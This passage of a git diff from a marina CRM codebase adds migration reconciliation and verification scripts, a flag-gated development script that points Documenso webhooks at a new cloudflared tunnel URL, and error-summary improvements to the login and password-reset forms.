// ── 3. CLIENT contact fidelity (migrated email is from a legacy source row)
|
||||||
|
const clientContacts = await crm`
|
||||||
|
select c.id, c.full_name, string_agg(cc.value, '|') filter (where cc.channel='email') emails
|
||||||
|
from clients c left join client_contacts cc on cc.client_id=c.id
|
||||||
|
where c.port_id=${portId} group by c.id, c.full_name`;
|
||||||
|
const emailsByClient = new Map(
|
||||||
|
clientContacts.map((c) => [
|
||||||
|
c.id as string,
|
||||||
|
(c.emails as string | null)?.split('|').map(normEmail) ?? [],
|
||||||
|
]),
|
||||||
|
);
|
||||||
|
// group ledger client links: client -> its legacy source emails
|
||||||
|
const legacyEmailsByClient = new Map<string, Set<string>>();
|
||||||
|
for (const l of clientLinks) {
|
||||||
|
const lr = legacyInterests.get(Number(l.source_id)) as Record<string, string> | undefined;
|
||||||
|
const e = normEmail(lr?.Email_Address ?? '');
|
||||||
|
if (!e) continue;
|
||||||
|
const set = legacyEmailsByClient.get(l.target_entity_id as string) ?? new Set();
|
||||||
|
set.add(e);
|
||||||
|
legacyEmailsByClient.set(l.target_entity_id as string, set);
|
||||||
|
}
|
||||||
|
let emailMiss = 0;
|
||||||
|
for (const [cid, legacyEmails] of legacyEmailsByClient) {
|
||||||
|
const newEmails = new Set(emailsByClient.get(cid) ?? []);
|
||||||
|
const missing = [...legacyEmails].filter((e) => !newEmails.has(e));
|
||||||
|
if (missing.length > 0) {
|
||||||
|
emailMiss++;
|
||||||
|
const nm = clientContacts.find((c) => c.id === cid)?.full_name;
|
||||||
|
add(
|
||||||
|
'EMAIL',
|
||||||
|
`client ${nm}: legacy email(s) [${[...legacyEmails].join(',')}] not all on client (have [${[...newEmails].join(',') || '-'}])`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── 4. RELATIONSHIP integrity (orphans / dangling FKs) ────────────────────
|
||||||
|
const orphanInterests =
|
||||||
|
await crm`select count(*) n from interests i where i.port_id=${portId} and not exists (select 1 from clients c where c.id=i.client_id)`;
|
||||||
|
const orphanIB =
|
||||||
|
await crm`select count(*) n from interest_berths ib where not exists (select 1 from interests i where i.id=ib.interest_id) or not exists (select 1 from berths b where b.id=ib.berth_id)`;
|
||||||
|
const orphanDocs =
|
||||||
|
await crm`select count(*) n from documents d where d.port_id=${portId} and d.interest_id is not null and not exists (select 1 from interests i where i.id=d.interest_id)`;
|
||||||
|
const orphanYachts =
|
||||||
|
await crm`select count(*) n from yachts y where y.port_id=${portId} and y.current_owner_type='client' and not exists (select 1 from clients c where c.id=y.current_owner_id)`;
|
||||||
|
const danglingSignedFile =
|
||||||
|
await crm`select count(*) n from documents d where d.signed_file_id is not null and not exists (select 1 from files f where f.id=d.signed_file_id)`;
|
||||||
|
if (Number(orphanInterests[0]!.n) > 0)
|
||||||
|
add('INTEGRITY', `${orphanInterests[0]!.n} interests with no client`);
|
||||||
|
if (Number(orphanIB[0]!.n) > 0)
|
||||||
|
add('INTEGRITY', `${orphanIB[0]!.n} interest_berths with dangling FK`);
|
||||||
|
if (Number(orphanDocs[0]!.n) > 0)
|
||||||
|
add('INTEGRITY', `${orphanDocs[0]!.n} documents with dangling interest`);
|
||||||
|
if (Number(orphanYachts[0]!.n) > 0)
|
||||||
|
add('INTEGRITY', `${orphanYachts[0]!.n} yachts with missing owner`);
|
||||||
|
if (Number(danglingSignedFile[0]!.n) > 0)
|
||||||
|
add('INTEGRITY', `${danglingSignedFile[0]!.n} documents with dangling signed_file_id`);
|
||||||
|
|
||||||
|
// ── report ────────────────────────────────────────────────────────────────
|
||||||
|
console.log('═══════════ MIGRATION RECONCILIATION ═══════════\n');
|
||||||
|
console.log(
|
||||||
|
`Coverage: legacy interests ${legacyInterests.size} → migrated ${migratedInterestSrc.size} (dropped ${droppedInterests.length})`,
|
||||||
|
);
|
||||||
|
console.log(
|
||||||
|
` legacy expenses ${legacyExpenses.size} → migrated ${migratedExpSrc.size} (dropped ${droppedExp.length})`,
|
||||||
|
);
|
||||||
|
console.log(
|
||||||
|
` legacy residential ${legacyRes.size} → migrated ${migratedResSrc.size} (dropped ${droppedRes.length})`,
|
||||||
|
);
|
||||||
|
console.log(
|
||||||
|
`Fidelity: stage mismatches ${stageMiss} · eoiStatus ${eoiMiss} · documensoId ${docMiss} · berth-link ${berthMiss} · client-email ${emailMiss}`,
|
||||||
|
);
|
||||||
|
console.log(
|
||||||
|
`Integrity: orphan interests ${orphanInterests[0]!.n} · interest_berths ${orphanIB[0]!.n} · docs ${orphanDocs[0]!.n} · yachts ${orphanYachts[0]!.n} · signed-file ${danglingSignedFile[0]!.n}`,
|
||||||
|
);
|
||||||
|
console.log(`\nTotal discrepancies: ${issues.length}`);
|
||||||
|
const byCat = issues.reduce<Record<string, number>>((a, s) => {
|
||||||
|
const c = s.slice(1, s.indexOf(']'));
|
||||||
|
a[c] = (a[c] || 0) + 1;
|
||||||
|
return a;
|
||||||
|
}, {});
|
||||||
|
console.log('By category:', JSON.stringify(byCat));
|
||||||
|
console.log('\n── discrepancy detail (first 60) ──');
|
||||||
|
for (const i of issues.slice(0, 60)) console.log(' ' + i);
|
||||||
|
if (issues.length > 60) console.log(` … +${issues.length - 60} more`);
|
||||||
|
|
||||||
|
await crm.end();
|
||||||
|
await legacy.end();
|
||||||
|
process.exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
main().catch(async (e) => {
|
||||||
|
console.error('reconcile failed:', e);
|
||||||
|
await crm.end().catch(() => {});
|
||||||
|
await legacy.end().catch(() => {});
|
||||||
|
process.exit(1);
|
||||||
|
});
|
||||||
210
scripts/migration/verify-migration.ts
Normal file
210
scripts/migration/verify-migration.ts
Normal file
@@ -0,0 +1,210 @@
|
|||||||
|
/**
|
||||||
|
* Migration verification / audit (read-only against the local dev DB + storage).
|
||||||
|
*
|
||||||
|
* 1. EOI PDF ↔ person: opens each attached signed-EOI PDF, extracts its text,
|
||||||
|
* and confirms the linked client's name actually appears inside — catching
|
||||||
|
* any wrong attachment from the name/fuzzy matcher. Flags any PDF where a
|
||||||
|
* *different* client's name appears instead.
|
||||||
|
* 2. Berth PDF ↔ mooring: confirms each berth's spec-sheet PDF mentions its
|
||||||
|
* mooring number.
|
||||||
|
* 3. Per-person completeness: clients missing contact info, deals missing a
|
||||||
|
* stage, clients with no deal, + a sample full dump to eyeball.
|
||||||
|
*
|
||||||
|
* pnpm tsx scripts/migration/verify-migration.ts [--port-slug port-nimara]
|
||||||
|
*/
|
||||||
|
import 'dotenv/config';
|
||||||
|
import { readFile } from 'node:fs/promises';
|
||||||
|
import path from 'node:path';
|
||||||
|
import { extractText, getDocumentProxy } from 'unpdf';
|
||||||
|
import { and, eq, isNotNull, sql } from 'drizzle-orm';
|
||||||
|
|
||||||
|
import { db, closeDb } from '@/lib/db';
|
||||||
|
import { ports } from '@/lib/db/schema/ports';
|
||||||
|
import { documents, files } from '@/lib/db/schema/documents';
|
||||||
|
import { clients } from '@/lib/db/schema/clients';
|
||||||
|
import { berths, berthPdfVersions } from '@/lib/db/schema/berths';
|
||||||
|
|
||||||
|
const STORAGE_ROOT = process.env.STORAGE_ROOT || 'storage';
|
||||||
|
const slugArg = (() => {
|
||||||
|
const i = process.argv.indexOf('--port-slug');
|
||||||
|
return i >= 0 ? (process.argv[i + 1] ?? 'port-nimara') : 'port-nimara';
|
||||||
|
})();
|
||||||
|
|
||||||
|
const norm = (s: string) =>
|
||||||
|
s
|
||||||
|
.toLowerCase()
|
||||||
|
.normalize('NFKD')
|
||||||
|
.replace(/[^a-z ]/g, ' ')
|
||||||
|
.replace(/\s+/g, ' ')
|
||||||
|
.trim();
|
||||||
|
|
||||||
|
async function pdfText(storagePath: string): Promise<string> {
|
||||||
|
const buf = await readFile(path.join(STORAGE_ROOT, storagePath));
|
||||||
|
const pdf = await getDocumentProxy(new Uint8Array(buf));
|
||||||
|
const res = await extractText(pdf, { mergePages: true });
|
||||||
|
const t = Array.isArray(res.text) ? res.text.join(' ') : res.text;
|
||||||
|
return norm(t);
|
||||||
|
}
|
||||||
|
|
||||||
|
async function main() {
|
||||||
|
const [port] = await db
|
||||||
|
.select({ id: ports.id, slug: ports.slug })
|
||||||
|
.from(ports)
|
||||||
|
.where(eq(ports.slug, slugArg))
|
||||||
|
.limit(1);
|
||||||
|
if (!port) throw new Error(`no port ${slugArg}`);
|
||||||
|
|
||||||
|
const allNames = (
|
||||||
|
await db
|
||||||
|
.select({ id: clients.id, name: clients.fullName })
|
||||||
|
.from(clients)
|
||||||
|
.where(eq(clients.portId, port.id))
|
||||||
|
).map((c) => ({
|
||||||
|
id: c.id,
|
||||||
|
tokens: norm(c.name)
|
||||||
|
.split(' ')
|
||||||
|
.filter((t) => t.length >= 4),
|
||||||
|
name: c.name,
|
||||||
|
}));
|
||||||
|
|
||||||
|
// ── 1. EOI PDF ↔ person ──────────────────────────────────────────────────
|
||||||
|
const eoiRows = await db
|
||||||
|
.select({
|
||||||
|
docId: documents.id,
|
||||||
|
clientId: documents.clientId,
|
||||||
|
fullName: clients.fullName,
|
||||||
|
storagePath: files.storagePath,
|
||||||
|
})
|
||||||
|
.from(documents)
|
||||||
|
.innerJoin(files, eq(files.id, documents.signedFileId))
|
||||||
|
.innerJoin(clients, eq(clients.id, documents.clientId))
|
||||||
|
.where(
|
||||||
|
and(
|
||||||
|
eq(documents.portId, port.id),
|
||||||
|
eq(documents.documentType, 'eoi'),
|
||||||
|
isNotNull(documents.signedFileId),
|
||||||
|
),
|
||||||
|
);
|
||||||
|
|
||||||
|
console.log(`\n═══ 1. EOI PDF ↔ person (${eoiRows.length} attached signed EOIs) ═══`);
|
||||||
|
let ok = 0,
|
||||||
|
weak = 0,
|
||||||
|
bad = 0,
|
||||||
|
err = 0;
|
||||||
|
for (const r of eoiRows) {
|
||||||
|
try {
|
||||||
|
const text = await pdfText(r.storagePath);
|
||||||
|
const tokens = norm(r.fullName)
|
||||||
|
.split(' ')
|
||||||
|
.filter((t) => t.length >= 3);
|
||||||
|
const first = tokens[0];
|
||||||
|
const last = tokens[tokens.length - 1];
|
||||||
|
const hasFirst = !!first && text.includes(first);
|
||||||
|
const hasLast = !!last && text.includes(last);
|
||||||
|
if (hasFirst && hasLast) {
|
||||||
|
ok++;
|
||||||
|
} else if (hasFirst || hasLast) {
|
||||||
|
weak++;
|
||||||
|
console.log(
|
||||||
|
` ⚠ WEAK "${r.fullName}" — only ${hasLast ? 'surname' : 'first name'} found in its PDF`,
|
||||||
|
);
|
||||||
|
} else {
|
||||||
|
bad++;
|
||||||
|
const other = allNames.find(
|
||||||
|
(c) => c.id !== r.clientId && c.tokens.some((t) => text.includes(t)),
|
||||||
|
);
|
||||||
|
console.log(
|
||||||
|
` ✗ BAD "${r.fullName}" — name NOT in its PDF${other ? ` — but "${other.name}" DOES appear (likely mis-attached!)` : ''}`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
} catch (e) {
|
||||||
|
err++;
|
||||||
|
console.log(` ! ERR "${r.fullName}": ${(e as Error).message}`);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
console.log(` → strong ${ok} · weak ${weak} · NO-match ${bad} · read-error ${err}`);
|
||||||
|
|
||||||
|
// ── 2. Berth PDF ↔ mooring ───────────────────────────────────────────────
|
||||||
|
const berthRows = await db
|
||||||
|
.select({ mooring: berths.mooringNumber, storageKey: berthPdfVersions.storageKey })
|
||||||
|
.from(berths)
|
||||||
|
.innerJoin(berthPdfVersions, eq(berthPdfVersions.id, berths.currentPdfVersionId))
|
||||||
|
.where(eq(berths.portId, port.id));
|
||||||
|
console.log(`\n═══ 2. Berth PDF ↔ mooring (${berthRows.length} berths with a PDF) ═══`);
|
||||||
|
let bOk = 0,
|
||||||
|
bBad = 0,
|
||||||
|
bErr = 0;
|
||||||
|
for (const r of berthRows) {
|
||||||
|
try {
|
||||||
|
const text = await pdfText(r.storageKey);
|
||||||
|
// mooring like "A1"/"D32" — match letter+space?+number loosely
|
||||||
|
const moo = r.mooring.toLowerCase();
|
||||||
|
const m = moo.match(/^([a-z]+)(\d+)$/);
|
||||||
|
const found =
|
||||||
|
text.includes(moo) ||
|
||||||
|
(m && text.includes(`${m[1]} ${m[2]}`)) ||
|
||||||
|
(m && new RegExp(`${m[1]}\\s*${m[2]}\\b`).test(text));
|
||||||
|
if (found) bOk++;
|
||||||
|
else {
|
||||||
|
bBad++;
|
||||||
|
console.log(` ✗ "${r.mooring}" mooring not found in its spec sheet`);
|
||||||
|
}
|
||||||
|
} catch (e) {
|
||||||
|
bErr++;
|
||||||
|
console.log(` ! ERR ${r.mooring}: ${(e as Error).message}`);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
console.log(` → mooring-in-PDF ${bOk} · not-found ${bBad} · read-error ${bErr}`);
|
||||||
|
|
||||||
|
// ── 3. Per-person completeness ───────────────────────────────────────────
|
||||||
|
console.log(`\n═══ 3. Per-person data completeness (migrated clients) ═══`);
|
||||||
|
const noContact = await db.execute(sql`
|
||||||
|
select c.full_name from clients c
|
||||||
|
join migration_source_links l on l.target_entity_id=c.id and l.target_entity_type='client'
|
||||||
|
where not exists (select 1 from client_contacts cc where cc.client_id=c.id)`);
|
||||||
|
console.log(` clients with NO contact (email/phone): ${noContact.length}`);
|
||||||
|
for (const r of noContact.slice(0, 15))
|
||||||
|
console.log(` - ${(r as { full_name: string }).full_name}`);
|
||||||
|
|
||||||
|
const noDeal = await db.execute(sql`
|
||||||
|
select c.full_name from clients c
|
||||||
|
join migration_source_links l on l.target_entity_id=c.id and l.target_entity_type='client'
|
||||||
|
where not exists (select 1 from interests i where i.client_id=c.id)`);
|
||||||
|
console.log(` migrated clients with NO deal: ${noDeal.length}`);
|
||||||
|
|
||||||
|
const noStage = await db.execute(sql`
|
||||||
|
select count(*) n from interests i
|
||||||
|
join migration_source_links l on l.target_entity_id=i.id and l.target_entity_type='interest'
|
||||||
|
where i.pipeline_stage is null`);
|
||||||
|
console.log(` migrated deals with NULL stage: ${(noStage[0] as { n: number }).n}`);
|
||||||
|
|
||||||
|
// sample full dump to eyeball
|
||||||
|
console.log(`\n -- sample of 6 migrated clients (eyeball) --`);
|
||||||
|
const sample = await db.execute(sql`
|
||||||
|
select c.full_name,
|
||||||
|
(select string_agg(cc.channel||':'||cc.value, ', ') from client_contacts cc where cc.client_id=c.id) contacts,
|
||||||
|
(select count(*) from interests i where i.client_id=c.id) deals,
|
||||||
|
(select string_agg(distinct i.pipeline_stage, ',') from interests i where i.client_id=c.id) stages
|
||||||
|
from clients c
|
||||||
|
join migration_source_links l on l.target_entity_id=c.id and l.target_entity_type='client'
|
||||||
|
order by deals desc nulls last limit 6`);
|
||||||
|
for (const r of sample as unknown as Array<{
|
||||||
|
full_name: string;
|
||||||
|
contacts: string;
|
||||||
|
deals: number;
|
||||||
|
stages: string;
|
||||||
|
}>) {
|
||||||
|
console.log(
|
||||||
|
` ${r.full_name} · ${r.deals} deal(s) [${r.stages}] · ${r.contacts ?? '(no contacts)'}`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
await closeDb();
|
||||||
|
process.exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
main().catch(async (e) => {
|
||||||
|
console.error('verify failed:', e);
|
||||||
|
await closeDb().catch(() => {});
|
||||||
|
process.exit(1);
|
||||||
|
});
|
||||||
@@ -49,3 +49,16 @@ if [[ "${1:-}" == "--copy" ]]; then
|
|||||||
printf "%s/api/webhooks/documenso" "$URL" | pbcopy
|
printf "%s/api/webhooks/documenso" "$URL" | pbcopy
|
||||||
echo "(webhook URL copied to clipboard)"
|
echo "(webhook URL copied to clipboard)"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
# Auto-PATCH Documenso's webhook URL when the env flag is set. Gated so
|
||||||
|
# production ports can never have their webhook rotated by a stale dev
|
||||||
|
# script. The TS script reads DOCUMENSO_API_URL + DOCUMENSO_API_KEY +
|
||||||
|
# DOCUMENSO_API_VERSION from .env and updates every webhook whose URL
|
||||||
|
# already points at our path OR at any *.trycloudflare.com host.
|
||||||
|
if [[ "${DEV_AUTO_UPDATE_DOCUMENSO_WEBHOOK:-}" == "1" ]]; then
|
||||||
|
echo ""
|
||||||
|
echo "DEV_AUTO_UPDATE_DOCUMENSO_WEBHOOK=1 — updating Documenso webhook(s)…"
|
||||||
|
cd "$(dirname "$0")/.." || exit 1
|
||||||
|
DEV_AUTO_UPDATE_DOCUMENSO_WEBHOOK=1 \
|
||||||
|
pnpm tsx scripts/update-documenso-webhook.ts "$URL"
|
||||||
|
fi
|
||||||
|
|||||||
194
scripts/update-documenso-webhook.ts
Normal file
194
scripts/update-documenso-webhook.ts
Normal file
@@ -0,0 +1,194 @@
|
|||||||
|
/**
|
||||||
|
* Documenso webhook URL auto-updater. Called by `./scripts/tunnel-url.sh`
|
||||||
|
* when the env flag `DEV_AUTO_UPDATE_DOCUMENSO_WEBHOOK=1` is set so a
|
||||||
|
* freshly-restarted cloudflared quick-tunnel (which gets a NEW hostname
|
||||||
|
* on every restart) doesn't leave Documenso pointing at a dead URL.
|
||||||
|
*
|
||||||
|
* Gated by env flag so production ports — which may have a stable
|
||||||
|
* webhook URL — can never have their config rotated by a stale dev
|
||||||
|
* script. Reads Documenso credentials from env (DOCUMENSO_API_URL +
|
||||||
|
* DOCUMENSO_API_KEY + optional DOCUMENSO_API_VERSION).
|
||||||
|
*
|
||||||
|
* Usage (manual invocation):
|
||||||
|
* DEV_AUTO_UPDATE_DOCUMENSO_WEBHOOK=1 pnpm tsx scripts/update-documenso-webhook.ts https://foo.trycloudflare.com
|
||||||
|
*
|
||||||
|
* Behaviour:
|
||||||
|
* - Lists every webhook currently configured on the Documenso
|
||||||
|
* instance.
|
||||||
|
* - Identifies webhooks whose `webhookUrl` looks like a
|
||||||
|
* trycloudflare.com domain OR matches our `/api/webhooks/documenso`
|
||||||
|
* path suffix. These are the ones to rotate.
|
||||||
|
* - PATCHes each matching webhook to point at the new tunnel URL.
|
||||||
|
* - Leaves all other webhooks alone (in case the instance also
|
||||||
|
* services another tenant or a stable production URL).
|
||||||
|
*
|
||||||
|
* Tries Documenso v2 first, falls back to v1 if the v2 endpoint
|
||||||
|
* returns 404. Both versions support GET /webhook(s) + PATCH on the
|
||||||
|
* webhook resource — the shape differs slightly between them but the
|
||||||
|
* fields we touch (`id`, `webhookUrl`) are stable across versions.
|
||||||
|
*/
|
||||||
|
|
||||||
|
import 'dotenv/config';
|
||||||
|
|
||||||
|
const ENABLE_FLAG = process.env.DEV_AUTO_UPDATE_DOCUMENSO_WEBHOOK;
|
||||||
|
const TUNNEL_BASE = process.argv[2];
|
||||||
|
|
||||||
|
if (ENABLE_FLAG !== '1') {
|
||||||
|
console.log(
|
||||||
|
'DEV_AUTO_UPDATE_DOCUMENSO_WEBHOOK is not set to 1 — skipping Documenso webhook update.',
|
||||||
|
);
|
||||||
|
process.exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!TUNNEL_BASE) {
|
||||||
|
console.error('Usage: pnpm tsx scripts/update-documenso-webhook.ts <tunnel-base-url>');
|
||||||
|
console.error(
|
||||||
|
'Example: pnpm tsx scripts/update-documenso-webhook.ts https://foo.trycloudflare.com',
|
||||||
|
);
|
||||||
|
process.exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
const API_URL = process.env.DOCUMENSO_API_URL;
|
||||||
|
const API_KEY = process.env.DOCUMENSO_API_KEY;
|
||||||
|
const API_VERSION = (process.env.DOCUMENSO_API_VERSION ?? 'v2').toLowerCase();
|
||||||
|
|
||||||
|
if (!API_URL || !API_KEY) {
|
||||||
|
console.error('DOCUMENSO_API_URL and DOCUMENSO_API_KEY must be set in env to update webhooks.');
|
||||||
|
process.exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Trim trailing slash so we can compose paths cleanly.
|
||||||
|
const BASE = API_URL.replace(/\/+$/, '');
|
||||||
|
const NEW_WEBHOOK_URL = `${TUNNEL_BASE.replace(/\/+$/, '')}/api/webhooks/documenso`;
|
||||||
|
|
||||||
|
async function documensoRequest(path: string, init?: RequestInit): Promise<Response> {
|
||||||
|
return fetch(`${BASE}${path}`, {
|
||||||
|
...init,
|
||||||
|
headers: {
|
||||||
|
'Content-Type': 'application/json',
|
||||||
|
Authorization: API_KEY!,
|
||||||
|
...(init?.headers ?? {}),
|
||||||
|
},
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
interface DocumensoWebhook {
|
||||||
|
id: string | number;
|
||||||
|
webhookUrl: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Pluck the array of webhooks out of whatever shape the Documenso
|
||||||
|
* version returned. v1 historically returned an array directly; v2
|
||||||
|
* tends to wrap in `{ data: [...] }` or similar. Be tolerant.
|
||||||
|
*/
|
||||||
|
function extractWebhooks(raw: unknown): DocumensoWebhook[] {
|
||||||
|
if (Array.isArray(raw)) return raw as DocumensoWebhook[];
|
||||||
|
if (raw && typeof raw === 'object') {
|
||||||
|
const r = raw as Record<string, unknown>;
|
||||||
|
if (Array.isArray(r.data)) return r.data as DocumensoWebhook[];
|
||||||
|
if (Array.isArray(r.webhooks)) return r.webhooks as DocumensoWebhook[];
|
||||||
|
}
|
||||||
|
return [];
|
||||||
|
}
|
||||||
|
|
||||||
|
async function listWebhooks(): Promise<{ webhooks: DocumensoWebhook[]; version: 'v1' | 'v2' }> {
|
||||||
|
if (API_VERSION === 'v2' || API_VERSION === 'v2.0' || API_VERSION === 'v2.x') {
|
||||||
|
const res = await documensoRequest('/api/v2/webhook');
|
||||||
|
if (res.ok) {
|
||||||
|
const body = (await res.json()) as unknown;
|
||||||
|
return { webhooks: extractWebhooks(body), version: 'v2' };
|
||||||
|
}
|
||||||
|
if (res.status !== 404) {
|
||||||
|
console.error(`v2 webhook list returned ${res.status}: ${await res.text()}`);
|
||||||
|
}
|
||||||
|
// Fall through to v1.
|
||||||
|
}
|
||||||
|
const res = await documensoRequest('/api/v1/webhooks');
|
||||||
|
if (!res.ok) {
|
||||||
|
console.error(`v1 webhook list returned ${res.status}: ${await res.text()}`);
|
||||||
|
process.exit(1);
|
||||||
|
}
|
||||||
|
const body = (await res.json()) as unknown;
|
||||||
|
return { webhooks: extractWebhooks(body), version: 'v1' };
|
||||||
|
}
|
||||||
|
|
||||||
|
async function patchWebhook(
|
||||||
|
version: 'v1' | 'v2',
|
||||||
|
webhook: DocumensoWebhook,
|
||||||
|
newUrl: string,
|
||||||
|
): Promise<boolean> {
|
||||||
|
const path =
|
||||||
|
version === 'v2'
|
||||||
|
? '/api/v2/webhook'
|
||||||
|
: `/api/v1/webhooks/${encodeURIComponent(String(webhook.id))}`;
|
||||||
|
const body = version === 'v2' ? { id: webhook.id, webhookUrl: newUrl } : { webhookUrl: newUrl };
|
||||||
|
const res = await documensoRequest(path, {
|
||||||
|
method: 'PATCH',
|
||||||
|
body: JSON.stringify(body),
|
||||||
|
});
|
||||||
|
if (!res.ok) {
|
||||||
|
console.error(`PATCH ${path} (id=${webhook.id}) returned ${res.status}: ${await res.text()}`);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Decide whether a given existing webhook is "ours" (i.e. matches the
|
||||||
|
* pattern we want to rotate). Two signals:
|
||||||
|
* 1. Path tail matches `/api/webhooks/documenso` — the CRM-side
|
||||||
|
* handler we own.
|
||||||
|
* 2. Host matches `*.trycloudflare.com` — almost certainly a stale
|
||||||
|
* quick-tunnel URL. Rotating these is always safe.
|
||||||
|
*/
|
||||||
|
function isRotatableWebhook(w: DocumensoWebhook): boolean {
|
||||||
|
if (!w.webhookUrl) return false;
|
||||||
|
if (w.webhookUrl.endsWith('/api/webhooks/documenso')) return true;
|
||||||
|
try {
|
||||||
|
const host = new URL(w.webhookUrl).hostname;
|
||||||
|
if (host.endsWith('.trycloudflare.com')) return true;
|
||||||
|
} catch {
|
||||||
|
/* malformed — leave alone */
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
async function main(): Promise<void> {
|
||||||
|
console.log(`Listing webhooks via Documenso ${API_VERSION.toUpperCase()} (base: ${BASE})…`);
|
||||||
|
const { webhooks, version } = await listWebhooks();
|
||||||
|
console.log(`Found ${webhooks.length} webhook(s).`);
|
||||||
|
|
||||||
|
const rotatable = webhooks.filter(isRotatableWebhook);
|
||||||
|
if (rotatable.length === 0) {
|
||||||
|
console.log(
|
||||||
|
`No rotatable webhooks found (looking for paths ending /api/webhooks/documenso or *.trycloudflare.com hosts).`,
|
||||||
|
);
|
||||||
|
console.log(`If your dev webhook is configured differently, point it at: ${NEW_WEBHOOK_URL}`);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
console.log(`Updating ${rotatable.length} webhook(s) to ${NEW_WEBHOOK_URL}…`);
|
||||||
|
let ok = 0;
|
||||||
|
let fail = 0;
|
||||||
|
for (const w of rotatable) {
|
||||||
|
if (w.webhookUrl === NEW_WEBHOOK_URL) {
|
||||||
|
console.log(` ${w.id}: already at the target URL, skipping.`);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
const succeeded = await patchWebhook(version, w, NEW_WEBHOOK_URL);
|
||||||
|
if (succeeded) {
|
||||||
|
ok++;
|
||||||
|
console.log(` ${w.id}: ${w.webhookUrl} -> ${NEW_WEBHOOK_URL}`);
|
||||||
|
} else {
|
||||||
|
fail++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
console.log(`Done. ${ok} updated, ${fail} failed.`);
|
||||||
|
if (fail > 0) process.exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
main().catch((err) => {
|
||||||
|
console.error('Documenso webhook update failed:', err);
|
||||||
|
process.exit(1);
|
||||||
|
});
|
||||||
@@ -13,11 +13,13 @@ import { Input } from '@/components/ui/input';
|
|||||||
import { Label } from '@/components/ui/label';
|
import { Label } from '@/components/ui/label';
|
||||||
import { BrandedAuthShell } from '@/components/shared/branded-auth-shell';
|
import { BrandedAuthShell } from '@/components/shared/branded-auth-shell';
|
||||||
import { useAuthBranding } from '@/components/shared/auth-branding-provider';
|
import { useAuthBranding } from '@/components/shared/auth-branding-provider';
|
||||||
|
import { FormErrorSummary } from '@/components/forms/form-error-summary';
|
||||||
|
import { useFormScrollToError } from '@/hooks/use-form-scroll-to-error';
|
||||||
|
|
||||||
// `identifier` accepts either an email address or a username (3–30 lowercase
|
// `identifier` accepts either an email address or a username (3–30 lowercase
|
||||||
// letters / digits / dot / underscore / hyphen). The server endpoint
|
// letters / digits / dot / underscore / hyphen). The server endpoint
|
||||||
// /api/auth/sign-in-by-identifier resolves the username server-side and
|
// /api/auth/sign-in-by-identifier resolves the username server-side and
|
||||||
// forwards to better-auth in one round-trip — the canonical email is never
|
// forwards to better-auth in one round-trip - the canonical email is never
|
||||||
// returned to the browser, which closes the username-enumeration vector.
|
// returned to the browser, which closes the username-enumeration vector.
|
||||||
const loginSchema = z.object({
|
const loginSchema = z.object({
|
||||||
identifier: z.string().min(1, 'Email or username is required'),
|
identifier: z.string().min(1, 'Email or username is required'),
|
||||||
@@ -61,7 +63,7 @@ export default function LoginPage() {
|
|||||||
if (payload.data?.needsBootstrap) router.replace('/setup');
|
if (payload.data?.needsBootstrap) router.replace('/setup');
|
||||||
})
|
})
|
||||||
.catch(() => {
|
.catch(() => {
|
||||||
/* silent — login UX must still work even if status check fails */
|
/* silent - login UX must still work even if status check fails */
|
||||||
});
|
});
|
||||||
return () => {
|
return () => {
|
||||||
cancelled = true;
|
cancelled = true;
|
||||||
@@ -75,6 +77,7 @@ export default function LoginPage() {
|
|||||||
} = useForm<LoginFormData>({
|
} = useForm<LoginFormData>({
|
||||||
resolver: zodResolver(loginSchema),
|
resolver: zodResolver(loginSchema),
|
||||||
});
|
});
|
||||||
|
const submitWithScroll = useFormScrollToError(handleSubmit, errors);
|
||||||
|
|
||||||
async function onSubmit(data: LoginFormData) {
|
async function onSubmit(data: LoginFormData) {
|
||||||
setIsLoading(true);
|
setIsLoading(true);
|
||||||
@@ -112,7 +115,11 @@ export default function LoginPage() {
|
|||||||
<p className="text-sm text-gray-500 mt-1">Sign in to continue</p>
|
<p className="text-sm text-gray-500 mt-1">Sign in to continue</p>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<form onSubmit={handleSubmit(onSubmit)} className="space-y-4" noValidate>
|
<form onSubmit={submitWithScroll(onSubmit)} className="space-y-4" noValidate>
|
||||||
|
<FormErrorSummary
|
||||||
|
errors={errors}
|
||||||
|
labels={{ identifier: 'Email or username', password: 'Password' }}
|
||||||
|
/>
|
||||||
<div className="space-y-1.5">
|
<div className="space-y-1.5">
|
||||||
<Label htmlFor="identifier">Email or username</Label>
|
<Label htmlFor="identifier">Email or username</Label>
|
||||||
<Input
|
<Input
|
||||||
|
|||||||
@@ -11,6 +11,8 @@ import { Button } from '@/components/ui/button';
|
|||||||
import { Input } from '@/components/ui/input';
|
import { Input } from '@/components/ui/input';
|
||||||
import { Label } from '@/components/ui/label';
|
import { Label } from '@/components/ui/label';
|
||||||
import { BrandedAuthShell } from '@/components/shared/branded-auth-shell';
|
import { BrandedAuthShell } from '@/components/shared/branded-auth-shell';
|
||||||
|
import { FormErrorSummary } from '@/components/forms/form-error-summary';
|
||||||
|
import { useFormScrollToError } from '@/hooks/use-form-scroll-to-error';
|
||||||
import { cn } from '@/lib/utils';
|
import { cn } from '@/lib/utils';
|
||||||
|
|
||||||
const resetSchema = z.object({
|
const resetSchema = z.object({
|
||||||
@@ -32,6 +34,7 @@ export default function ResetPasswordPage() {
|
|||||||
} = useForm<ResetFormData>({
|
} = useForm<ResetFormData>({
|
||||||
